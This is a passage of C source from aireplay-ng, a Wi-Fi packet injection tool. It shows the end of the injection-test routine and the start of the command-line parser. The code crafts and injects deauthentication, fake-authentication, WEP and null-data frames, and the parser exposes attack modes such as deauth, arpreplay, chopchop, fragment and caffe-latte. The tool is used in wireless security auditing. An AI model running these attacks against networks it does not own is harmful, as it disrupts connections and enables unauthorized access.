			   (uint8_t *) opt.r_essid,
			   opt.ignore_negative_one,
			   opt.nodetect)
		!= 0)
		return (EXIT_FAILURE);

	rand_init();

	memset(ap, '\0', sizeof(ap));

	essidlen = strlen(opt.r_essid);

	if (essidlen > 0)
	{
		ap[0].set = 1;
		ap[0].found = 0;
		ap[0].len = essidlen;
		memcpy(ap[0].essid, opt.r_essid, essidlen);
		ap[0].essid[essidlen] = '\0';
		memcpy(ap[0].bssid, opt.r_bssid, 6);
		found++;
	}

	if (opt.bittest) set_bitrate(_wi_out, RATE_1M);

	PCT;
	printf("Trying broadcast probe requests...\n");

	memcpy(h80211, PROBE_REQ, 24);

	len = 24;

	h80211[24] = 0x00; // ESSID Tag Number
	h80211[25] = 0x00; // ESSID Tag Length

	len += 2;

	memcpy(h80211 + len, RATES, 16);

	len += 16;

	gotit = 0;
	answers = 0;
	for (i = 0; i < 3; i++)
	{
		/*
			random source so we can identify our packets
		*/
		opt.r_smac[0] = 0x00;
		opt.r_smac[1] = rand_u8();
		opt.r_smac[2] = rand_u8();
		opt.r_smac[3] = rand_u8();
		opt.r_smac[4] = rand_u8();
		opt.r_smac[5] = rand_u8();

		memcpy(h80211 + 10, opt.r_smac, 6);

		send_packet(_wi_out, h80211, (size_t) len, kRewriteSequenceNumber);

		gettimeofday(&tv, NULL);

		while (1) // waiting for relayed packet
		{
			caplen = read_packet(_wi_in, packet, sizeof(packet), &ri);
			if (caplen < 0 && errno == EINTR)
				continue;
			else if (caplen < 0)
				break;

			if (packet[0] == 0x50) // Is probe response
			{
				if (!memcmp(opt.r_smac, packet + 4, 6)) // To our MAC
				{
					if (grab_essid(packet, caplen) == 0
						&& (!memcmp(opt.r_bssid, NULL_MAC, 6)))
					{
						found++;
					}
					if (!answers)
					{
						PCT;
						printf("Injection is working!\n");
						if (opt.fast) return 0;
						gotit = 1;
						answers++;
					}
				}
			}

			if (packet[0] == 0x80) // Is beacon frame
			{
				if (grab_essid(packet, caplen) == 0
					&& (!memcmp(opt.r_bssid, NULL_MAC, 6)))
				{
					found++;
				}
			}

			gettimeofday(&tv2, NULL);
			if (((tv2.tv_sec * 1000000UL - tv.tv_sec * 1000000UL)
				 + (tv2.tv_usec - tv.tv_usec))
				> (3 * atime * 1000)) // wait 'atime'ms for an answer
			{
				break;
			}
		}
	}
	if (answers == 0)
	{
		PCT;
		printf("No Answer...\n");
	}

	PCT;
	printf("Found %u AP%c\n", found, ((found == 1) ? ' ' : 's'));

	if (found > 0)
	{
		printf("\n");
		PCT;
		printf("Trying directed probe requests...\n");
	}

	for (i = 0; i < found; i++)
	{
		if (wi_get_channel(_wi_out) != ap[i].chan)
		{
			wi_set_channel(_wi_out, ap[i].chan);
		}

		if (wi_get_channel(_wi_in) != ap[i].chan)
		{
			wi_set_channel(_wi_in, ap[i].chan);
		}

		PCT;
		printf("%02X:%02X:%02X:%02X:%02X:%02X - channel: %d - \'%s\'\n",
			   ap[i].bssid[0],
			   ap[i].bssid[1],
			   ap[i].bssid[2],
			   ap[i].bssid[3],
			   ap[i].bssid[4],
			   ap[i].bssid[5],
			   ap[i].chan,
			   ap[i].essid);

		ap[i].found = 0;
		min = INT_MAX;
		max = 0;
		avg = 0;
		avg2 = 0;

		memcpy(h80211, PROBE_REQ, 24);

		len = 24;

		h80211[24] = 0x00; // ESSID Tag Number
		h80211[25] = ap[i].len; // ESSID Tag Length
		memcpy(h80211 + len + 2, ap[i].essid, ap[i].len);

		len += ap[i].len + 2;

		memcpy(h80211 + len, RATES, 16);

		len += 16;

		for (j = 0; j < REQUESTS; j++)
		{
			/*
				random source so we can identify our packets
			*/
			opt.r_smac[0] = 0x00;
			opt.r_smac[1] = rand_u8();
			opt.r_smac[2] = rand_u8();
			opt.r_smac[3] = rand_u8();
			opt.r_smac[4] = rand_u8();
			opt.r_smac[5] = rand_u8();

			// build/send probe request
			memcpy(h80211 + 10, opt.r_smac, 6);

			send_packet(_wi_out, h80211, (size_t) len, kRewriteSequenceNumber);
			usleep(10);

			// build/send request-to-send
			memcpy(nulldata, RTS, 16);
			memcpy(nulldata + 4, ap[i].bssid, 6);
			memcpy(nulldata + 10, opt.r_smac, 6);

			send_packet(_wi_out, nulldata, 16, kRewriteSequenceNumber);
			usleep(10);

			// build/send null data packet
			memcpy(nulldata, NULL_DATA, 24);
			memcpy(nulldata + 4, ap[i].bssid, 6);
			memcpy(nulldata + 10, opt.r_smac, 6);
			memcpy(nulldata + 16, ap[i].bssid, 6);

			send_packet(_wi_out, nulldata, 24, kRewriteSequenceNumber);
			usleep(10);

			// build/send auth request packet
			memcpy(nulldata, AUTH_REQ, 30);
			memcpy(nulldata + 4, ap[i].bssid, 6);
			memcpy(nulldata + 10, opt.r_smac, 6);
			memcpy(nulldata + 16, ap[i].bssid, 6);

			send_packet(_wi_out, nulldata, 30, kRewriteSequenceNumber);

			// continue
			gettimeofday(&tv, NULL);

			printf("\r%2d/%2d: %3d%%\r",
				   ap[i].found,
				   j + 1,
				   ((ap[i].found * 100) / (j + 1)));
			fflush(stdout);
			while (1) // waiting for relayed packet
			{
				caplen = read_packet(_wi_in, packet, sizeof(packet), &ri);
				if (caplen < 0 && errno == EINTR)
					continue;
				else if (caplen < 0)
					break;

				if (packet[0] == 0x50) // Is probe response
				{
					if (!memcmp(opt.r_smac, packet + 4, 6)) // To our MAC
					{
						if (!memcmp(ap[i].bssid,
									packet + 16,
									6)) // From the mentioned AP
						{
							gettimeofday(&tv3, NULL);
							ap[i].ping[j]
								= ((tv3.tv_sec * 1000000 - tv.tv_sec * 1000000)
								   + (tv3.tv_usec - tv.tv_usec));
							if (!answers)
							{
								if (opt.fast)
								{
									PCT;
									printf("Injection is working!\n\n");
									return 0;
								}
								answers++;
							}
							ap[i].found++;
							if ((signed) ri.ri_power > -200)
								ap[i].pwr[j] = (signed) ri.ri_power;
							break;
						}
					}
				}

				if (packet[0] == 0xC4) // Is clear-to-send
				{
					if (!memcmp(opt.r_smac, packet + 4, 6)) // To our MAC
					{
						gettimeofday(&tv3, NULL);
						ap[i].ping[j]
							= ((tv3.tv_sec * 1000000 - tv.tv_sec * 1000000)
							   + (tv3.tv_usec - tv.tv_usec));
						if (!answers)
						{
							if (opt.fast)
							{
								PCT;
								printf("Injection is working!\n\n");
								return 0;
							}
							answers++;
						}
						ap[i].found++;
						if ((signed) ri.ri_power > -200)
							ap[i].pwr[j] = (signed) ri.ri_power;
						break;
					}
				}

				if (packet[0] == 0xD4) // Is ack
				{
					if (!memcmp(opt.r_smac, packet + 4, 6)) // To our MAC
					{
						gettimeofday(&tv3, NULL);
						ap[i].ping[j]
							= ((tv3.tv_sec * 1000000 - tv.tv_sec * 1000000)
							   + (tv3.tv_usec - tv.tv_usec));
						if (!answers)
						{
							if (opt.fast)
							{
								PCT;
								printf("Injection is working!\n\n");
								return 0;
							}
							answers++;
						}
						ap[i].found++;
						if ((signed) ri.ri_power > -200)
							ap[i].pwr[j] = (signed) ri.ri_power;
						break;
					}
				}

				if (packet[0] == 0xB0) // Is auth response
				{
					if (!memcmp(opt.r_smac, packet + 4, 6)) // To our MAC
					{
						if (!memcmp(packet + 10, packet + 16, 6)) // From BSS ID
						{
							gettimeofday(&tv3, NULL);
							ap[i].ping[j]
								= ((tv3.tv_sec * 1000000 - tv.tv_sec * 1000000)
								   + (tv3.tv_usec - tv.tv_usec));
							if (!answers)
							{
								if (opt.fast)
								{
									PCT;
									printf("Injection is working!\n\n");
									return 0;
								}
								answers++;
							}
							ap[i].found++;
							if ((signed) ri.ri_power > -200)
								ap[i].pwr[j] = (signed) ri.ri_power;
							break;
						}
					}
				}

				gettimeofday(&tv2, NULL);
				if (((tv2.tv_sec * 1000000UL - tv.tv_sec * 1000000UL)
					 + (tv2.tv_usec - tv.tv_usec))
					> (atime * 1000)) // wait 'atime'ms for an answer
				{
					break;
				}
				usleep(10);
			}
			printf("\r%2d/%2d: %3d%%\r",
				   ap[i].found,
				   j + 1,
				   ((ap[i].found * 100) / (j + 1)));
			fflush(stdout);
		}
		for (j = 0; j < REQUESTS; j++)
		{
			if (ap[i].ping[j] > 0)
			{
				if (ap[i].ping[j] > max) max = ap[i].ping[j];
				if (ap[i].ping[j] < min) min = ap[i].ping[j];
				avg += ap[i].ping[j];
				avg2 += ap[i].pwr[j];
			}
		}
		if (ap[i].found > 0)
		{
			avg /= ap[i].found;
			avg2 /= ap[i].found;
			PCT;
			printf("Ping (min/avg/max): %.3fms/%.3fms/%.3fms Power: %.2f\n",
				   (min / 1000.0f),
				   (avg / 1000.0f),
				   (max / 1000.0f),
				   avg2);
		}
		PCT;
		printf("%2d/%2d: %3d%%\n\n",
			   ap[i].found,
			   REQUESTS,
			   ((ap[i].found * 100) / REQUESTS));

		if (!gotit && answers)
		{
			PCT;
			printf("Injection is working!\n\n");
			gotit = 1;
		}
	}

	if (opt.bittest)
	{
		if (found > 0)
		{
			PCT;
			printf("Trying directed probe requests for all bitrates...\n");
		}

		for (i = 0; i < found; i++)
		{
			if (ap[i].found <= 0) continue;
			printf("\n");
			PCT;
			printf("%02X:%02X:%02X:%02X:%02X:%02X - channel: %d - \'%s\'\n",
				   ap[i].bssid[0],
				   ap[i].bssid[1],
				   ap[i].bssid[2],
				   ap[i].bssid[3],
				   ap[i].bssid[4],
				   ap[i].bssid[5],
				   ap[i].chan,
				   ap[i].essid);

			min = INT_MAX;
			max = 0;
			avg = 0;

			memcpy(h80211, PROBE_REQ, 24);

			len = 24;

			h80211[24] = 0x00; // ESSID Tag Number
			h80211[25] = ap[i].len; // ESSID Tag Length
			memcpy(h80211 + len + 2, ap[i].essid, ap[i].len);

			len += ap[i].len + 2;

			memcpy(h80211 + len, RATES, 16);

			len += 16;

			for (k = 0; k < (int) ArrayCount(bitrates); k++)
			{
				ap[i].found = 0;
				if (set_bitrate(_wi_out, bitrates[k])) continue;

				avg2 = 0;
				memset(ap[i].pwr, 0, REQUESTS * sizeof(unsigned int));

				for (j = 0; j < REQUESTS; j++)
				{
					/*
						random source so we can identify our packets
					*/
					opt.r_smac[0] = 0x00;
					opt.r_smac[1] = rand_u8();
					opt.r_smac[2] = rand_u8();
					opt.r_smac[3] = rand_u8();
					opt.r_smac[4] = rand_u8();
					opt.r_smac[5] = rand_u8();

					memcpy(h80211 + 10, opt.r_smac, 6);

					send_packet(
						_wi_out, h80211, (size_t) len, kRewriteSequenceNumber);

					gettimeofday(&tv, NULL);

					printf("\r%2d/%2d: %3d%%\r",
						   ap[i].found,
						   j + 1,
						   ((ap[i].found * 100) / (j + 1)));
					fflush(stdout);
					while (1) // waiting for relayed packet
					{
						caplen
							= read_packet(_wi_in, packet, sizeof(packet), &ri);
						if (caplen < 0 && errno == EINTR)
							continue;
						else if (caplen < 0)
							break;

						if (packet[0] == 0x50) // Is probe response
						{
							if (!memcmp(opt.r_smac, packet + 4, 6)) // To our
							// MAC
							{
								if (!memcmp(ap[i].bssid,
											packet + 16,
											6)) // From the mentioned AP
								{
									if (!answers)
									{
										answers++;
									}
									ap[i].found++;
									if ((signed) ri.ri_power > -200)
										ap[i].pwr[j] = (signed) ri.ri_power;
									break;
								}
							}
						}

						gettimeofday(&tv2, NULL);
						if (((tv2.tv_sec * 1000000UL - tv.tv_sec * 1000000UL)
							 + (tv2.tv_usec - tv.tv_usec))
							> (100 * 1000)) // wait 300ms for an answer
						{
							break;
						}
						usleep(10);
					}
					printf("\r%2d/%2d: %3d%%\r",
						   ap[i].found,
						   j + 1,
						   ((ap[i].found * 100) / (j + 1)));
					fflush(stdout);
				}
				for (j = 0; j < REQUESTS; j++) avg2 += ap[i].pwr[j];
				if (ap[i].found > 0) avg2 /= ap[i].found;
				PCT;
				printf("Probing at %2.1f Mbps:\t%2d/%2d: %3d%%\n",
					   wi_get_rate(_wi_out) / 1000000.0f,
					   ap[i].found,
					   REQUESTS,
					   ((ap[i].found * 100) / REQUESTS));
			}

			if (!gotit && answers)
			{
				PCT;
				printf("Injection is working!\n\n");
				if (opt.fast) return 0;
				gotit = 1;
			}
		}
	}
	if (opt.bittest) set_bitrate(_wi_out, RATE_1M);

	if (opt.s_face != NULL)
	{
		printf("\n");
		PCT;
		printf("Trying card-to-card injection...\n");

		/* sync both cards to the same channel, or the test will fail */
		if (wi_get_channel(_wi_out) != wi_get_channel(_wi_in))
		{
			wi_set_channel(_wi_out, wi_get_channel(_wi_in));
		}

		/* Attacks */
		for (i = 0; i < 5; i++)
		{
			k = 0;
			/* random macs */
			opt.f_smac[0] = 0x00;
			opt.f_smac[1] = rand_u8();
			opt.f_smac[2] = rand_u8();
			opt.f_smac[3] = rand_u8();
			opt.f_smac[4] = rand_u8();
			opt.f_smac[5] = rand_u8();

			opt.f_dmac[0] = 0x00;
			opt.f_dmac[1] = rand_u8();
			opt.f_dmac[2] = rand_u8();
			opt.f_dmac[3] = rand_u8();
			opt.f_dmac[4] = rand_u8();
			opt.f_dmac[5] = rand_u8();

			opt.f_bssid[0] = 0x00;
			opt.f_bssid[1] = rand_u8();
			opt.f_bssid[2] = rand_u8();
			opt.f_bssid[3] = rand_u8();
			opt.f_bssid[4] = rand_u8();
			opt.f_bssid[5] = rand_u8();

			if (i == 0) // attack -0
			{
				memcpy(h80211, DEAUTH_REQ, 26);
				memcpy(h80211 + 16, opt.f_bssid, 6);
				memcpy(h80211 + 4, opt.f_dmac, 6);
				memcpy(h80211 + 10, opt.f_smac, 6);

				opt.f_iswep = 0;
				opt.f_tods = 0;
				opt.f_fromds = 0;
				opt.f_minlen = opt.f_maxlen = 26;
			}
			else if (i == 1) // attack -1 (open)
			{
				memcpy(h80211, AUTH_REQ, 30);
				memcpy(h80211 + 4, opt.f_dmac, 6);
				memcpy(h80211 + 10, opt.f_smac, 6);
				memcpy(h80211 + 16, opt.f_bssid, 6);

				opt.f_iswep = 0;
				opt.f_tods = 0;
				opt.f_fromds = 0;
				opt.f_minlen = opt.f_maxlen = 30;
			}
			else if (i == 2) // attack -1 (psk)
			{
				memcpy(h80211, ska_auth3, 24); //-V512
				memcpy(h80211 + 4, opt.f_dmac, 6);
				memcpy(h80211 + 10, opt.f_smac, 6);
				memcpy(h80211 + 16, opt.f_bssid, 6);

				// iv+idx
				h80211[24] = 0x86;
				h80211[25] = 0xD8;
				h80211[26] = 0x2E;
				h80211[27] = 0x00;

				// random bytes (as encrypted data)
				for (j = 0; j < 132; j++) h80211[28 + j] = rand_u8();

				opt.f_iswep = 1;
				opt.f_tods = 0;
				opt.f_fromds = 0;
				opt.f_minlen = opt.f_maxlen = 24 + 4 + 132;
			}
			else if (i == 3) // attack -3
			{
				memcpy(h80211, NULL_DATA, 24);
				memcpy(h80211 + 4, opt.f_bssid, 6);
				memcpy(h80211 + 10, opt.f_smac, 6);
				memcpy(h80211 + 16, opt.f_dmac, 6);

				// iv+idx
				h80211[24] = 0x86;
				h80211[25] = 0xD8;
				h80211[26] = 0x2E;
				h80211[27] = 0x00;

				// random bytes (as encrypted data)
				for (j = 0; j < 132; j++) h80211[28 + j] = rand_u8();

				opt.f_iswep = -1;
				opt.f_tods = 1;
				opt.f_fromds = 0;
				opt.f_minlen = opt.f_maxlen = 24 + 4 + 132;
			}
			else // attack -5
			{
				memcpy(h80211, NULL_DATA, 24);
				memcpy(h80211 + 4, opt.f_bssid, 6);
				memcpy(h80211 + 10, opt.f_smac, 6);
				memcpy(h80211 + 16, opt.f_dmac, 6);

				h80211[1] |= 0x04;
				h80211[22] = 0x0A;
				h80211[23] = 0x00;

				// iv+idx
				h80211[24] = 0x86;
				h80211[25] = 0xD8;
				h80211[26] = 0x2E;
				h80211[27] = 0x00;

				// random bytes (as encrypted data)
				for (j = 0; j < 7; j++) h80211[28 + j] = rand_u8();

				opt.f_iswep = -1;
				opt.f_tods = 1;
				opt.f_fromds = 0;
				opt.f_minlen = opt.f_maxlen = 24 + 4 + 7;
			}

			for (j = 0; (j < REQUESTS && !k); j++)
			{
				send_packet(_wi_out, h80211, (size_t) opt.f_maxlen, kNoChange);

				gettimeofday(&tv, NULL);
				while (1) // waiting for relayed packet
				{
					do
					{
						caplen = wi_read(
							_wi_in, NULL, NULL, packet, sizeof(packet), &ri);
					} while (caplen == -1 && errno == EAGAIN);
					if (filter_packet(packet, caplen)
						== 0) // got same length and same type
					{
						if (!answers)
						{
							answers++;
						}

						if (i == 0) // attack -0
						{
							if (h80211[0] == packet[0])
							{
								k = 1;
								break;
							}
						}
						else if (i == 1) // attack -1 (open)
						{
							if (h80211[0] == packet[0])
							{
								k = 1;
								break;
							}
						}
						else if (i == 2) // attack -1 (psk)
						{
							if (h80211[0] == packet[0]
								&& memcmp(h80211 + 24, packet + 24, caplen - 24)
									   == 0)
							{
								k = 1;
								break;
							}
						}
						else if (i == 3) // attack -2/-3/-4/-6
						{
							if (h80211[0] == packet[0]
								&& memcmp(h80211 + 24, packet + 24, caplen - 24)
									   == 0)
							{
								k = 1;
								break;
							}
						}
						else // attack -5/-7
						{
							if (h80211[0] == packet[0]
								&& memcmp(h80211 + 24, packet + 24, caplen - 24)
									   == 0)
							{
								if ((packet[1] & 0x04)
									&& memcmp(h80211 + 22, packet + 22, 2) == 0)
								{
									k = 1;
									break;
								}
								else if ((packet[1] & 0x4) != 0)
								{
									PCT;
									printf("Got a reply with an incorrect "
										   "sequence number (wanted 0x0a00 got "
										   "0x%02x%02x).\n",
										   *(packet + 22),
										   *(packet + 23));
								}
							}
						}
					}

					gettimeofday(&tv2, NULL);
					if (((tv2.tv_sec * 1000000UL - tv.tv_sec * 1000000UL)
						 + (tv2.tv_usec - tv.tv_usec))
						> (2 * atime * 1000)) // wait 2*'atime' ms for an answer
					{
						break;
					}
				}
			}
			if (k)
			{
				k = 0;
				if (i == 0) // attack -0
				{
					PCT;
					printf("Attack -0:           OK\n");
				}
				else if (i == 1) // attack -1 (open)
				{
					PCT;
					printf("Attack -1 (open):    OK\n");
				}
				else if (i == 2) // attack -1 (psk)
				{
					PCT;
					printf("Attack -1 (psk):     OK\n");
				}
				else if (i == 3) // attack -3
				{
					PCT;
					printf("Attack -2/-3/-4/-6:  OK\n");
				}
				else // attack -5
				{
					PCT;
					printf("Attack -5/-7:        OK\n");
				}
			}
			else
			{
				if (i == 0) // attack -0
				{
					PCT;
					printf("Attack -0:           Failed\n");
				}
				else if (i == 1) // attack -1 (open)
				{
					PCT;
					printf("Attack -1 (open):    Failed\n");
				}
				else if (i == 2) // attack -1 (psk)
				{
					PCT;
					printf("Attack -1 (psk):     Failed\n");
				}
				else if (i == 3) // attack -3
				{
					PCT;
					printf("Attack -2/-3/-4/-6:  Failed\n");
				}
				else // attack -5
				{
					PCT;
					printf("Attack -5/-7:        Failed\n");
				}
			}
		}

		if (!gotit && answers)
		{
			PCT;
			printf("Injection is working!\n");
			if (opt.fast) return 0;
			gotit = 1;
		}
	}
	return 0;
}

int main(int argc, char * argv[])
{
	int n, i, ret;

	/* check the arguments */

	memset(&opt, 0, sizeof(opt));
	memset(&dev, 0, sizeof(dev));

	opt.f_type = -1;
	opt.f_subtype = -1;
	opt.f_minlen = -1;
	opt.f_maxlen = -1;
	opt.f_tods = -1;
	opt.f_fromds = -1;
	opt.f_iswep = -1;
	opt.ringbuffer = 8;

	opt.a_mode = -1;
	opt.r_fctrl = -1;
	opt.ghost = 0;
	opt.delay = 15;
	opt.bittest = 0;
	opt.fast = 0;
	opt.r_smac_set = 0;
	opt.npackets = 1;
	opt.nodetect = 0;
	opt.rtc = 1;
	opt.f_retry = 0;
	opt.reassoc = 0;
	opt.deauth_rc = 7; /* By default deauth reason code is Class 3 frame
						  received from nonassociated STA */

/* XXX */
#if 0
#if defined(__FreeBSD__)
    /*
        check what is our FreeBSD version. injection works
        only on 7-CURRENT so abort if it's a lower version.
    */
    if( __FreeBSD_version < 700000 )
    {
        fprintf( stderr, "Aireplay-ng does not work on this "
            "release of FreeBSD.\n" );
        exit( 1 );
    }
#endif
#endif

	while (1)
	{
		int option_index = 0;

		static struct option long_options[]
			= {{"deauth", 1, 0, '0'},
			   {"fakeauth", 1, 0, '1'},
			   {"interactive", 0, 0, '2'},
			   {"arpreplay", 0, 0, '3'},
			   {"chopchop", 0, 0, '4'},
			   {"fragment", 0, 0, '5'},
			   {"caffe-latte", 0, 0, '6'},
			   {"cfrag", 0, 0, '7'},
			   {"test", 0, 0, '9'},
			   {"help", 0, 0, 'H'},
			   {"fast", 0, 0, 'F'},
			   {"bittest", 0, 0, 'B'},
			   {"migmode", 0, 0, '8'},
			   {"ignore-negative-one", 0, &opt.ignore_negative_one, 1},
			   {"deauth-rc", 1, 0, 'Z'},
			   {0, 0, 0, 0}};

		int option = getopt_long(argc,
								 argv,
								 "b:d:s:m:n:u:v:t:Z:T:f:g:w:x:p:a:c:h:e:ji:r:k:"
								 "l:y:o:q:Q0:1:23456789HFBDR",
								 long_options,
								 &option_index);

		if (option < 0) break;

		switch (option)
		{
			case 0:

				break;

			case ':':
			case '?':

				printf("\"%s --help\" for help.\n", argv[0]);
				return (1);

			case 'b':

				if (getmac(optarg, 1, opt.f_bssid) != 0)
				{
					printf("Invalid BSSID (AP MAC address).\n");
					printf("\"%s --help\" for help.\n", argv[0]);
					return (1);
				}
				break;

			case 'd':

				if (getmac(optarg, 1, opt.f_dmac) != 0)
				{
					printf("Invalid destination MAC address.\n");
					printf("\"%s --help\" for help.\n", argv[0]);
					return (1);
				}
				break;

			case 's':

				if (getmac(optarg, 1, opt.f_smac) != 0)
				{
					printf("Invalid source MAC address.\n");
					printf("\"%s --help\" for help.\n", argv[0]);
					return (1);
				}
				break;

			case 'm':

				ret = sscanf(optarg, "%d", &opt.f_minlen);
				if (opt.f_minlen < 0 || ret != 1)
				{
					printf("Invalid minimum length filter. [>=0]\n");
					printf("\"%s --help\" for help.\n", argv[0]);
					return (1);
				}
				break;

			case 'n':

				ret = sscanf(optarg, "%d", &opt.f_maxlen);
				if (opt.f_maxlen < 0 || ret != 1)
				{
					printf("Invalid maximum length filter. [>=0]\n");
					printf("\"%s --help\" for help.\n", argv[0]);
					return (1);
				}
				break;

			case 'u':

				ret = sscanf(optarg, "%d", &opt.f_type);
				if (opt.f_type < 0 || opt.f_type > 3 || ret != 1)
				{
					printf("Invalid type filter. [0-3]\n");
					printf("\"%s --help\" for help.\n", argv[0]);
					return (1);
				}
				break;

			case 'v':

				ret = sscanf(optarg, "%d", &opt.f_subtype);
				if (opt.f_subtype < 0 || opt.f_subtype > 15 || ret != 1)
				{
					printf("Invalid subtype filter. [0-15]\n");
					printf("\"%s --help\" for help.\n", argv[0]);
					return (1);
				}
				break;

			case 'T':
				ret = sscanf(optarg, "%d", &opt.f_retry);
				if ((opt.f_retry < 1) || (opt.f_retry > 65535) || (ret != 1))
				{
					printf("Invalid retry setting. [1-65535]\n");
					printf("\"%s --help\" for help.\n", argv[0]);
					return (1);
				}
				break;

			case 't':

				ret = sscanf(optarg, "%d", &opt.f_tods);
				if ((opt.f_tods != 0 && opt.f_tods != 1) || ret != 1)
				{
					printf("Invalid tods filter. [0,1]\n");
					printf("\"%s --help\" for help.\n", argv[0]);
					return (1);
				}
				break;

			case 'f':

				ret = sscanf(optarg, "%d", &opt.f_fromds);
				if ((opt.f_fromds != 0 && opt.f_fromds != 1) || ret != 1)
				{
					printf("Invalid fromds filter. [0,1]\n");
					printf("\"%s --help\" for help.\n", argv[0]);
					return (1);
				}
				break;

			case 'w':

				ret = sscanf(optarg, "%d", &opt.f_iswep);
				if ((opt.f_iswep != 0 && opt.f_iswep != 1) || ret != 1)
				{
					printf("Invalid wep filter. [0,1]\n");
					printf("\"%s --help\" for help.\n", argv[0]);
					return (1);
				}
				break;

			case 'x':

				ret = sscanf(optarg, "%d", &opt.r_nbpps);
				if (opt.r_nbpps < 1 || opt.r_nbpps > 1024 || ret != 1)
				{
					printf("Invalid number of packets per second. [1-1024]\n");
					printf("\"%s --help\" for help.\n", argv[0]);
					return (1);
				}
				break;

			case 'Z':

				ret = sscanf(optarg, "%hhu", &opt.deauth_rc);
				if (ret != 1)
				{
					printf("Invalid deauth reason. [0-254]\n");
					printf("\"%s --help\" for help.\n", argv[0]);
					return (1);
				}
				break;

			case 'o':

				ret = sscanf(optarg, "%d", &opt.npackets);
				if (opt.npackets < 0 || opt.npackets > 512 || ret != 1)
				{
					printf("Invalid number of packets per burst. [0-512]\n");
					printf("\"%s --help\" for help.\n", argv[0]);
					return (1);
				}
				break;

			case 'q':

				ret = sscanf(optarg, "%d", &opt.delay);
				if (opt.delay < 1 || opt.delay > 600 || ret != 1)
				{
					printf("Invalid number of seconds. [1-600]\n");
					printf("\"%s --help\" for help.\n", argv[0]);
					return (1);
				}
				break;

			case 'Q':

				opt.reassoc = 1;
				break;

			case 'p':

				ret = sscanf(optarg, "%x", &opt.r_fctrl);
				if (opt.r_fctrl > 65535 || ret != 1)
				{
					printf("Invalid frame control word. [0-65535]\n");
					printf("\"%s --help\" for help.\n", argv[0]);
					return (1);
				}
				break;

			case 'a':

				if (getmac(optarg, 1, opt.r_bssid) != 0)
				{
					printf("Invalid AP MAC address.\n");
					printf("\"%s --help\" for help.\n", argv[0]);
					return (1);
				}
				break;

			case 'c':

				if (getmac(optarg, 1, opt.r_dmac) != 0)
				{
					printf("Invalid destination MAC address.\n");
					printf("\"%s --help\" for help.\n", argv[0]);
					return (1);
				}
				break;

			case 'g':

				ret = sscanf(optarg, "%d", &opt.ringbuffer);
				if (opt.ringbuffer < 1 || ret != 1)
				{
					printf("Invalid replay ring buffer size. [>=1]\n");
					printf("\"%s --help\" for help.\n", argv[0]);
					return (1);
				}
				break;

			case 'h':

				if (getmac(optarg, 1, opt.r_smac) != 0)
				{
					printf("Invalid source MAC address.\n");
					printf("\"%s --help\" for help.\n", argv[0]);
					return (1);
				}
				opt.r_smac_set = 1;
				break;

			case 'e':

				memset(opt.r_essid, 0, sizeof(opt.r_essid));
				strncpy(opt.r_essid, optarg, sizeof(opt.r_essid) - 1);
				break;

			case 'j':

				opt.r_fromdsinj = 1;
				break;

			case 'D':

				opt.nodetect = 1;
				break;

			case 'k':

				inet_aton(optarg, (struct in_addr *) opt.r_dip);
				break;

			case 'l':

				inet_aton(optarg, (struct in_addr *) opt.r_sip);
				break;

			case 'y':

				if (opt.prga != NULL)
				{
					printf("PRGA file already specified.\n");
					printf("\"%s --help\" for help.\n", argv[0]);
					return (1);
				}
				if (read_prga(&(opt.prga), optarg) != 0)
				{
					return (1);
				}
				break;

			case 'i':

				if (opt.s_face != NULL || opt.s_file)
				{
					printf("Packet source already specified.\n");
					printf("\"%s --help\" for help.\n", argv[0]);
					return (1);
				}
				opt.s_face = optarg;
				opt.port_in
					= get_ip_port(opt.s_face, opt.ip_in, sizeof(opt.ip_in) - 1);
				break;

			case 'r':

				if (opt.s_face != NULL || opt.s_file)
				{
					printf("Packet source already specified.\n");
					printf("\"%s --help\" for help.\n", argv[0]);
					return (1);
				}
				opt.s_file = optarg;
				break;

			case 'z':

				opt.ghost = 1;

				break;

			case '0':

				if (opt.a_mode != -1)
				{
					printf("Attack mode already specified.\n");
					printf("\"%s --help\" for help.\n", argv[0]);
					return (1);
				}
				opt.a_mode = 0;

				for (i = 0; optarg[i] != 0; i++)
				{
					if (isdigit((int) optarg[i]) == 0) break;
				}

				ret = sscanf(optarg, "%d", &opt.a_count);
				if (opt.a_count < 0 || optarg[i] != 0 || ret != 1)
				{
					printf("Invalid deauthentication count or missing value. "
						   "[>=0]\n");
					printf("\"%s --help\" for help.\n", argv[0]);
					return (1);
				}
				break;

			case '1':

				if (opt.a_mode != -1)
				{
					printf("Attack mode already specified.\n");
					printf("\"%s --help\" for help.\n", argv[0]);
					return (1);
				}
				opt.a_mode = 1;

				for (i = 0; optarg[i] != 0; i++)
				{
					if (isdigit((int) optarg[i]) == 0) break;
				}

				ret = sscanf(optarg, "%d", &opt.a_delay);
				if (opt.a_delay < 0 || optarg[i] != 0 || ret != 1)
				{
					printf("Invalid reauthentication delay or missing value. "
						   "[>=0]\n");
					printf("\"%s --help\" for help.\n", argv[0]);
					return (1);
				}
				break;

			case '2':

				if (opt.a_mode != -1)
				{
					printf("Attack mode already specified.\n");
					printf("\"%s --help\" for help.\n", argv[0]);
					return (1);
				}
				opt.a_mode = 2;
				break;

			case '3':

				if (opt.a_mode != -1)
				{
					printf("Attack mode already specified.\n");
					printf("\"%s --help\" for help.\n", argv[0]);
					return (1);
				}
				opt.a_mode = 3;
				break;

			case '4':

				if (opt.a_mode != -1)
				{
					printf("Attack mode already specified.\n");
					printf("\"%s --help\" for help.\n", argv[0]);
					return (1);
				}
				opt.a_mode = 4;
				break;

			case '5':

				if (opt.a_mode != -1)
				{
					printf("Attack mode already specified.\n");
					printf("\"%s --help\" for help.\n", argv[0]);
					return (1);
				}
				opt.a_mode = 5;
				break;

			case '6':

				if (opt.a_mode != -1)
				{
					printf("Attack mode already specified.\n");
					printf("\"%s --help\" for help.\n", argv[0]);
					return (1);
				}
				opt.a_mode = 6;
				break;

			case '7':

				if (opt.a_mode != -1)
				{
					printf("Attack mode already specified.\n");
					printf("\"%s --help\" for help.\n", argv[0]);
					return (1);
				}
				opt.a_mode = 7;
				break;

			case '9':

				if (opt.a_mode != -1)
				{
					printf("Attack mode already specified.\n");
					printf("\"%s --help\" for help.\n", argv[0]);
					return (1);
				}
				opt.a_mode = 9;
				break;

			case '8':

				if (opt.a_mode != -1)
				{
					printf("Attack mode already specified.\n");
					printf("\"%s --help\" for help.\n", argv[0]);
					return (1);
				}
				opt.a_mode = 8;
				break;

			case 'F':

				opt.fast = 1;
				break;

			case 'B':

				opt.bittest = 1;
				break;

			case 'H':

				printf(usage,
					   getVersion("Aireplay-ng",
								  _MAJ,
								  _MIN,
								  _SUB_MIN,
								  _REVISION,
